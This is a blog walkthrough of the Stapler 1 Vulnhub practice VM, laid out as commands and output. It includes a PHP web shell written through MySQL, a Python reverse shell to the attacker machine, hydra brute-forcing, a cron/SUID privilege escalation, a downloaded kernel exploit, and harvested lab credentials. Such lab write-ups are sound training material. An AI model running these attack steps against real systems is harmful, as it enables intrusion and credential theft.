Monday, August 29, 2016

Stapler 1: Vulnhub Walkthrough

Information Gathering

I started by doing an Nmap TCP and UDP scan to enumerate the services.
PORT    STATE         SERVICE     REASON              VERSION
53/udp  open          domain      udp-response ttl 64 dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
68/udp  open|filtered dhcpc       no-response
69/udp  open|filtered tftp        no-response
137/udp open          netbios-ns  udp-response ttl 64 Samba nmbd netbios-ns (workgroup: WORKGROUP)
138/udp open|filtered netbios-dgm no-response
MAC Address: 08:00:27:BB:06:52 (Oracle VirtualBox virtual NIC)

nmap -vv -n -Pn -p- -sV -A 192.168.56.102
Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-29 12:53 MDT
NSE: Loaded 138 scripts for scanning.
Host is up, received arp-response (0.00033s latency).
Scanned at 2016-08-29 12:53:12 MDT for 157s
Not shown: 65523 filtered ports
Reason: 65523 no-responses
PORT      STATE  SERVICE     REASON         VERSION
20/tcp    closed ftp-data    reset ttl 64
21/tcp    open   ftp         syn-ack ttl 64 vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: Can't parse PASV response: "Permission denied."
22/tcp    open   ssh         syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc/xrBbi5hixT2B19dQilbbrCaRllRyNhtJcOzE8x0BM1ow9I80RcU7DtajyqiXXEwHRavQdO+/cHZMyOiMFZG59OCuIouLRNoVO58C91gzDgDZ1fKH6BDg+FaSz+iYZbHg2lzaMPbRje6oqNamPR4QGISNUpxZeAsQTLIiPcRlb5agwurovTd3p0SXe0GknFhZwHHvAZWa2J6lHE2b9K5IsSsDzX2WHQ4vPb+1DzDHV0RTRVUGviFvUX1X5tVFvVZy0TTFc0minD75CYClxLrgc+wFLPcAmE2C030ER/Z+9umbhuhCnLkLN87hlzDSRDPwUjWr+sNA3+7vc/xuZul
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQB5n5kAZPIyHb9lVx1aU0fyOXMPUblpmB8DRjnP8tVIafLIWh54wmTFVd3nCMr1n5IRWiFeX1weTBDSjjz0IY=
53/tcp    open   domain      syn-ack ttl 64 dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        syn-ack ttl 64
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 404 Not Found
123/tcp   closed ntp         reset ttl 64
137/tcp   closed netbios-ns  reset ttl 64
138/tcp   closed netbios-dgm reset ttl 64
139/tcp   open   netbios-ssn syn-ack ttl 64 Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?       syn-ack ttl 64
3306/tcp  open   mysql       syn-ack ttl 64 MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 53
|   Version: .7.12-0ubuntu1
|   Thread ID: 8
|   Capabilities flags: 63487
|   Some Capabilities: FoundRows, Support41Auth, SupportsCompression, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsTransactions, ODBCClient, IgnoreSigpipes, Speaks41ProtocolNew, InteractiveClient, LongPassword, SupportsLoadDataLocal, ConnectWithDatabase
|   Status: Autocommit
|_  Salt: I)\x19f\x1CHS\j+2c\x1DnmS+y?c
12380/tcp open   http        syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tim, we need to-do better next year for Initech

Local Privilege

Local Privilege 1: HTTPS 12380

Due to the fact there is no index.html, I check robots.txt.
https://192.168.56.102:12380/robots.txt
        User-agent: *
        Disallow: /admin112233/
        Disallow: /blogblog/

I see that admin112233 is unfinished but blogblog is a Wordpress application! I then run wpscan on it to enumerate the vulnerabilities.
wpscan -u https://192.168.56.102:12380/blogblog/ --enumerate u

    [+] Enumerating usernames ...
    [+] Identified the following 10 user/s:
        +----+---------+-----------------+
        | Id | Login   | Name            |
        +----+---------+-----------------+
        | 1  | john    | John Smith      |
        | 2  | elly    | Elly Jones      |
        | 3  | peter   | Peter Parker    |
        | 4  | barry   | Barry Atkins    |
        | 5  | heather | Heather Neville |
        | 6  | garry   | garry           |
        | 7  | harry   | harry           |
        | 8  | scott   | scott           |
        | 9  | kathy   | kathy           |
        | 10 | tim     | tim             |
        +----+---------+-----------------+

wpscan -u https://192.168.56.102:12380/blogblog/ --enumerate ap

    [+] Name: advanced-video-embed-embed-videos-or-playlists - v1.0
     |  Latest version: 1.0 (up to date)
     |  Location: https://192.168.56.102:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
     |  Readme: https://192.168.56.102:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
    [!] Directory listing is enabled: https://192.168.56.102:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/

I find that advanced-video-embed-embed-videos-or-playlists - v1.0 has a local file inclusion vulnerability on Exploit-db. This can be found at: https://www.exploit-db.com/exploits/39646/. I am able to download the exploit and modify it for SSL using the following code.
    import ssl

    ssl._create_default_https_context = ssl._create_unverified_context
    url = "https://192.168.56.102:12380/blogblog"

With this vulnerability, I was able to download both wp-config.php and /etc/passwd. After executing the file, I browsed to: https://192.168.56.102:12380/blogblog/wp-content/uploads/ to see the random id assigned to my file. If you attempt to view this in the browser it will fail because it cannot render a configuration as a jpeg. I pulled down the text with curl.
../wp-config.php
        define('DB_NAME', 'wordpress');

        /** MySQL database username */
        define('DB_USER', 'root');

        /** MySQL database password */
        define('DB_PASSWORD', 'plbkac');

        /** MySQL hostname */
        define('DB_HOST', 'localhost');

../../../../etc/passwd

    root:x:0:0:root:/root:/bin/zsh
    ...
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    ...
    peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh
    mysql:x:111:117:MySQL Server,,,:/nonexistent:/bin/false
    RNunemaker:x:1001:1001::/home/RNunemaker:/bin/bash
    ETollefson:x:1002:1002::/home/ETollefson:/bin/bash
    DSwanger:x:1003:1003::/home/DSwanger:/bin/bash
    AParnell:x:1004:1004::/home/AParnell:/bin/bash
    SHayslett:x:1005:1005::/home/SHayslett:/bin/bash
    MBassin:x:1006:1006::/home/MBassin:/bin/bash
    JBare:x:1007:1007::/home/JBare:/bin/bash
    LSolum:x:1008:1008::/home/LSolum:/bin/bash
    IChadwick:x:1009:1009::/home/IChadwick:/bin/false
    MFrei:x:1010:1010::/home/MFrei:/bin/bash
    SStroud:x:1011:1011::/home/SStroud:/bin/bash
    CCeaser:x:1012:1012::/home/CCeaser:/bin/dash
    JKanode:x:1013:1013::/home/JKanode:/bin/bash
    CJoo:x:1014:1014::/home/CJoo:/bin/bash
    Eeth:x:1015:1015::/home/Eeth:/usr/sbin/nologin
    LSolum2:x:1016:1016::/home/LSolum2:/usr/sbin/nologin
    JLipps:x:1017:1017::/home/JLipps:/bin/sh
    jamie:x:1018:1018::/home/jamie:/bin/sh
    Sam:x:1019:1019::/home/Sam:/bin/zsh
    Drew:x:1020:1020::/home/Drew:/bin/bash
    jess:x:1021:1021::/home/jess:/bin/bash
    SHAY:x:1022:1022::/home/SHAY:/bin/bash
    Taylor:x:1023:1023::/home/Taylor:/bin/sh
    mel:x:1024:1024::/home/mel:/bin/bash
    kai:x:1025:1025::/home/kai:/bin/sh
    zoe:x:1026:1026::/home/zoe:/bin/bash
    NATHAN:x:1027:1027::/home/NATHAN:/bin/bash
    www:x:1028:1028::/home/www:
    postfix:x:112:118::/var/spool/postfix:/bin/false
    ftp:x:110:116:ftp daemon,,,:/var/ftp:/bin/false
    elly:x:1029:1029::/home/elly:/bin/bash

Using the root password, you can enumerate and get a shell with either phpmyadmin or mysql remote access. I chose mysql remote access.
mysql -u root -p -h 192.168.56.102
show databases;
use wordpress;
show tables;
mysql> Select user_login, user_pass from wp_users;
    +------------+------------------------------------+
    | user_login | user_pass                          |
    +------------+------------------------------------+
    | John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
    | Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
    | Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
    | barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
    | heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
    | garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
    | harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
    | scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
    | kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
    | tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
    | ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
    | Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
    | Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
    | Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
    | Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
    | Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
    +------------+------------------------------------+
mysql> Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
Query OK, 1 row affected (0.00 sec)

I was then able to access the shell via curl
curl -k https://192.168.56.102:12380/blogblog/wp-content/uploads/shell.php?cmd=ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:bb:06:52  
          inet addr:192.168.56.102  Bcast:192.168.56.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:343006 errors:0 dropped:0 overruns:0 frame:0
          TX packets:154479 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:46270812 (46.2 MB)  TX bytes:56110368 (56.1 MB)
          Interrupt:10 Base address:0xd000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:180 errors:0 dropped:0 overruns:0 frame:0
          TX packets:180 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:24245 (24.2 KB)  TX bytes:24245 (24.2 KB)

Since webshells are poor, I upgraded to a more stable shell using python and then using python after to obtain at TTY.
https://192.168.56.102:12380/blogblog/wp-content/uploads/shell.php?cmd=python%20-c%20'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import pty;pty.spawn("/bin/bash")'

There are other things you can enumerate such as:


  • Mysql passwords (I already have root)
  • The loot database (Which has interesting info but no passwords)
  • Proof (Which contains a memo to the DBA)


  • I formatted the passwords and used John to crack them to the best of my ability.
    john stapler.wpusers
    
        Elly:ylle
        garry:football
        harry:monkey
        scott:cookie
        tim:thumb
        Simon:TOM
    
    6 password hashes cracked, 10 left
    

    Local Privilege 2: Bruteforce

    I was able to enumerate users for a bruteforce three ways: banners, SMB, and FTP.

    Banner User Enumeration

    This method is pretty self explanatory. By probing the banners, I am able to find users to bruteforce.
    FTP: Harry, Elly, John
    SSH: Barry
    SMB: Kathy, Fred
    HTTPS: Tim
    

    SMB User Enumeration

    By using enum4linux against a verbose SMB, I am able to enumerate the users for a bruteforce.
    enum4linux 192.168.56.102
    S-1-22-1-1000 Unix User\peter (Local User)
    S-1-22-1-1001 Unix User\RNunemaker (Local User)
    S-1-22-1-1002 Unix User\ETollefson (Local User)
    S-1-22-1-1003 Unix User\DSwanger (Local User)
    S-1-22-1-1004 Unix User\AParnell (Local User)
    S-1-22-1-1006 Unix User\MBassin (Local User)
    S-1-22-1-1007 Unix User\JBare (Local User)
    S-1-22-1-1008 Unix User\LSolum (Local User)
    S-1-22-1-1009 Unix User\IChadwick (Local User)
    S-1-22-1-1010 Unix User\MFrei (Local User)
    S-1-22-1-1011 Unix User\SStroud (Local User)
    S-1-22-1-1012 Unix User\CCeaser (Local User)
    S-1-22-1-1013 Unix User\JKanode (Local User)
    S-1-22-1-1014 Unix User\CJoo (Local User)
    S-1-22-1-1015 Unix User\Eeth (Local User)
    S-1-22-1-1016 Unix User\LSolum2 (Local User)
    S-1-22-1-1017 Unix User\JLipps (Local User)
    S-1-22-1-1018 Unix User\jamie (Local User)
    S-1-22-1-1020 Unix User\Drew (Local User)
    S-1-22-1-1021 Unix User\jess (Local User)
    S-1-22-1-1023 Unix User\Taylor (Local User)
    S-1-22-1-1025 Unix User\kai (Local User)
    S-1-22-1-1026 Unix User\zoe (Local User)
    S-1-22-1-1027 Unix User\NATHAN (Local User)
    S-1-22-1-1028 Unix User\www (Local User)
    S-1-22-1-1029 Unix User\elly (Local User)
    

    FTP User Enumeration

    Using Anonymous logins, I am able to enumerate some users.
    21/tcp    open   ftp         syn-ack ttl 64 vsftpd 2.0.8 or later
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    
    root@kali:~/Downloads# ftp 192.168.56.102
    Connected to 192.168.56.102.
    220-
    220-|-----------------------------------------------------------------------------------------|
    220-| Harry, make sure to update the banner when you get a chance to show who has access here |
    220-|-----------------------------------------------------------------------------------------|
    220-
    220 
    Name (192.168.56.102:root): Anonymous
    331 Please specify the password.
    Password:
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> ls
    200 PORT command successful. Consider using PASV.
    150 Here comes the directory listing.
    -rw-r--r--    1 0        0             107 Jun 03 23:06 note
    226 Directory send OK.
    ftp> get note
    local: note remote: note
    200 PORT command successful. Consider using PASV.
    150 Opening BINARY mode data connection for note (107 bytes).
    226 Transfer complete.
    107 bytes received in 0.00 secs (50.1884 kB/s)
    ftp> ^C
    ftp> 221 Goodbye.
    root@kali:~/Downloads# cat note 
    Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
    

    The Attack

    I am then able to use the users I found, to bruteforce the ftp users.
    root@kali:~/Downloads# hydra -L users.txt -e nsr 192.168.56.102 ftp
    Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-29 16:33:53
    [DATA] max 9 tasks per 1 server, overall 64 tasks, 9 login tries (l:3/p:3), ~0 tries per task
    [DATA] attacking service ftp on port 21
    [21][ftp] host: 192.168.56.102   login: elly   password: ylle
    1 of 1 target successfully completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2016-08-29 16:33:57
    

    I am then able to FTP login as Elly and pull down all the sensitive files. The most useful file to pull down is /etc/passwd and use it to ssh bruteforce. Using this, I am able to obtain a a local shell as SHayslett.
    root@kali:~/Downloads# ftp 192.168.56.102
    Connected to 192.168.56.102.
    220-
    220-|-----------------------------------------------------------------------------------------|
    220-| Harry, make sure to update the banner when you get a chance to show who has access here |
    220-|-----------------------------------------------------------------------------------------|
    220-
    220 
    Name (192.168.56.102:root): elly
    331 Please specify the password.
    Password:
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> get passwd
    local: passwd remote: passwd
    200 PORT command successful. Consider using PASV.
    150 Opening BINARY mode data connection for passwd (2942 bytes).
    226 Transfer complete.
    2942 bytes received in 0.00 secs (35.0714 MB/s)
    ftp> get shadow
    local: shadow remote: shadow
    200 PORT command successful. Consider using PASV.
    550 Failed to open file.
    ftp> get vsftpd.conf
    local: vsftpd.conf remote: vsftpd.conf
    200 PORT command successful. Consider using PASV.
    150 Opening BINARY mode data connection for vsftpd.conf (5961 bytes).
    226 Transfer complete.
    5961 bytes received in 0.00 secs (50.3084 MB/s)
    ftp> get ftpusers
    local: ftpusers remote: ftpusers
    200 PORT command successful. Consider using PASV.
    150 Opening BINARY mode data connection for ftpusers (132 bytes).
    226 Transfer complete.
    132 bytes received in 0.00 secs (1.6564 MB/s)
    ftp> 221 Goodbye.
    root@kali:~/Downloads# cat passwd
    root:x:0:0:root:/root:/bin/zsh
    peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh
    mysql:x:111:117:MySQL Server,,,:/nonexistent:/bin/false
    RNunemaker:x:1001:1001::/home/RNunemaker:/bin/bash
    ETollefson:x:1002:1002::/home/ETollefson:/bin/bash
    DSwanger:x:1003:1003::/home/DSwanger:/bin/bash
    AParnell:x:1004:1004::/home/AParnell:/bin/bash
    SHayslett:x:1005:1005::/home/SHayslett:/bin/bash
    MBassin:x:1006:1006::/home/MBassin:/bin/bash
    JBare:x:1007:1007::/home/JBare:/bin/bash
    LSolum:x:1008:1008::/home/LSolum:/bin/bash
    IChadwick:x:1009:1009::/home/IChadwick:/bin/false
    MFrei:x:1010:1010::/home/MFrei:/bin/bash
    SStroud:x:1011:1011::/home/SStroud:/bin/bash
    CCeaser:x:1012:1012::/home/CCeaser:/bin/dash
    JKanode:x:1013:1013::/home/JKanode:/bin/bash
    CJoo:x:1014:1014::/home/CJoo:/bin/bash
    Eeth:x:1015:1015::/home/Eeth:/usr/sbin/nologin
    LSolum2:x:1016:1016::/home/LSolum2:/usr/sbin/nologin
    JLipps:x:1017:1017::/home/JLipps:/bin/sh
    jamie:x:1018:1018::/home/jamie:/bin/sh
    Sam:x:1019:1019::/home/Sam:/bin/zsh
    Drew:x:1020:1020::/home/Drew:/bin/bash
    jess:x:1021:1021::/home/jess:/bin/bash
    SHAY:x:1022:1022::/home/SHAY:/bin/bash
    Taylor:x:1023:1023::/home/Taylor:/bin/sh
    mel:x:1024:1024::/home/mel:/bin/bash
    kai:x:1025:1025::/home/kai:/bin/sh
    zoe:x:1026:1026::/home/zoe:/bin/bash
    NATHAN:x:1027:1027::/home/NATHAN:/bin/bash
    www:x:1028:1028::/home/www:
    postfix:x:112:118::/var/spool/postfix:/bin/false
    ftp:x:110:116:ftp daemon,,,:/var/ftp:/bin/false
    elly:x:1029:1029::/home/elly:/bin/bash
    
    awk -F':' '{ print $1}' passwd > users.txt
    root@kali:~/Downloads# hydra -L users.txt -e nsr 192.168.56.102 ssh
    Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-29 16:44:16
    [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
    [DATA] max 16 tasks per 1 server, overall 64 tasks, 183 login tries (l:61/p:3), ~0 tries per task
    [DATA] attacking service ssh on port 22
    [22][ssh] host: 192.168.56.102   login: SHayslett   password: SHayslett
    1 of 1 target successfully completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2016-08-29 16:45:13
    

    Local Privilege 3: TFTP

    I am able to target TFTP and, without authentication, upload the shell directly to the web server on port 80.
    root@kali:/var/www# tftp 192.168.56.102
    tftp> ls     
    ?Invalid command
    tftp> verbose
    Verbose mode on.
    tftp> put shell.php
    putting shell.php to 192.168.56.102:shell.php [netascii]
    Sent 3605 bytes in 0.0 seconds [inf bits/sec]
    tftp>
    

    I set up a listener and, once the shell spawns, I get a TTY using python.
    root@kali:~/Downloads# nc -nlvp 443
    listening on [any] 443 ...
    connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 49622
    Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
     18:05:58 up  4:15,  1 user,  load average: 0.00, 0.01, 0.05
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
    JKanode  pts/2    192.168.56.101   16:04    1:36m  0.08s  0.11s sshd: JKanode [priv]
    uid=1028(www) gid=1028(www) groups=1028(www)
    /bin/sh: 0: can't access tty; job control turned off
    $ python -c 'import pty;pty.spawn("/bin/bash")'
    www@red:/$ 
    

    Privilege Escalation

    Privilege Escalation 1: Bash History

    Using bash, I was able to script print all the bash histories. I found that a user's history contains a username and password for two users.
    www-data@red:/home$ find -name ".bash_history" -exec cat {} \;
        find -name ".bash_history" -exec cat {} \;
        ...
        id
        cat: ./peter/.bash_history: Permission denied
        find: './peter/.cache': Permission denied
        exit
        id
        whoami
        ls -lah
        pwd
        ps aux
        sshpass -p thisimypassword ssh JKanode@localhost
        apt-get install sshpass
        sshpass -p JZQuyIN5 peter@localhost
        ...
    

    I then learn that Peter has root privilege in the sudoers file. From this, I am able to change the shell to /bin/bash (because I don't like zsh) and print our flag.txt
    ssh peter@192.168.56.102
    red% sudo -l
    
        We trust you have received the usual lecture from the local System
        Administrator. It usually boils down to these three things:
    
            #1) Respect the privacy of others.
            #2) Think before you type.
            #3) With great power comes great responsibility.
    
    [sudo] password for peter: 
        Matching Defaults entries for peter on red:
            lecture=always, env_reset, mail_badpass,
              secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
    
        User peter may run the following commands on red:
            (ALL : ALL) ALL
    red% sudo usermod -s /bin/bash peter
    peter@red:~$ sudo -i
        ➜  ~ cd /root
        ➜  ~ ls
        fix-wordpress.sh  flag.txt  issue  python.sh  wordpress.sql
        ➜  ~ cat flag.txt 
        ~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                                  .-'''''-.
                                  |'-----'|
                                  |-.....-|
                                  |       |
                                  |       |
                 _,._             |       |
            __.o`   o`"-.         |       |
         .-O o `"-.o   O )_,._    |       |
        ( o   O  o )--.-"`O   o"-.`'-----'`
         '--------'  (   o  O    o)  
                      `----------`
    

    Privilege Escalation 2: SUID

    Once I have a local shell, I can search for potential vulnerabilities using the Linux Priv Checker. This can be found at: http://www.securitysift.com/download/linuxprivchecker.py. Using this script, I am able to find a world writable cron job.
    python linuxprivchecker.py > linuxpriv.txt
    less linuxpriv.txt
    
    [+] World Writable Files
        -rw-rw-rw- 1 mysql mysql 39 Aug 29 15:24 /var/www/https/blogblog/wp-content/uploads/shell.php
        -rwxrwxrwx 1 www www 0 Jun  3 14:48 /etc/authbind/byport/80
        -rwxrwxrwx 1 root root 51 Jun  3 20:41 /usr/local/sbin/cron-logrotate.sh
    
    JKanode@red:/tmp$ cat /usr/local/sbin/cron-logrotate.sh 
    #Simon, you really need to-do something about this
    

    I am then able to change the world writable cron to my own suid setter file that I will make. I then create and compile that suid program. Once the cron is run, I will have a nice file to execute to get root.
    JKanode@red:/tmp$ echo -e 'chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;' > /usr/local/sbin/cron-logrotate.sh 
    JKanode@red:/tmp$ echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c
    JKanode@red:/tmp$ gcc setuid.c -o setuid
    setuid.c: In function ‘main’:
    setuid.c:8:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
      system("/bin/bash");
    
    JKanode@red:/tmp$ ./setuid
    root@red:/tmp# cat /root/flag.txt 
    ~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                              .-'''''-.
                              |'-----'|
                              |-.....-|
                              |       |
                              |       |
             _,._             |       |
        __.o`   o`"-.         |       |
     .-O o `"-.o   O )_,._    |       |
    ( o   O  o )--.-"`O   o"-.`'-----'`
     '--------'  (   o  O    o)  
                  `----------`
    b6b545dc11b7a270f4bad23432190c75162c4a2b
    

    Privilege Escalation 3: Kernel Exploit

    First, I get the kernel version information.
    JKanode@red: uname -a
    Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
    

    Next, I find online the Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' in bpf(BPF_PROG_LOAD) at https://www.exploit-db.com/exploits/39772/. I download the exploit, untar the file, compile, and execute the exploit.
    wget https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
    tar -xvf exploit.tar
    cd ebpf_mapfd_doubleput_exploit
    ./compile.sh
    ./doubleput
    
    root@red:/tmp/ebpf_mapfd_doubleput_exploit# cat /root/flag.txt 
    ~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                              .-'''''-.
                              |'-----'|
                              |-.....-|
                              |       |
                              |       |
             _,._             |       |
        __.o`   o`"-.         |       |
     .-O o `"-.o   O )_,._    |       |
    ( o   O  o )--.-"`O   o"-.`'-----'`
     '--------'  (   o  O    o)  
                  `----------`
    b6b545dc11b7a270f4bad23432190c75162c4a2b
    

    I hope this helps everyone to crack this awesome VM.
    Thanks to g0tmilk for creating the VM. But most of all for hosting vulnhub.com so we have awesome VM's to practice on.

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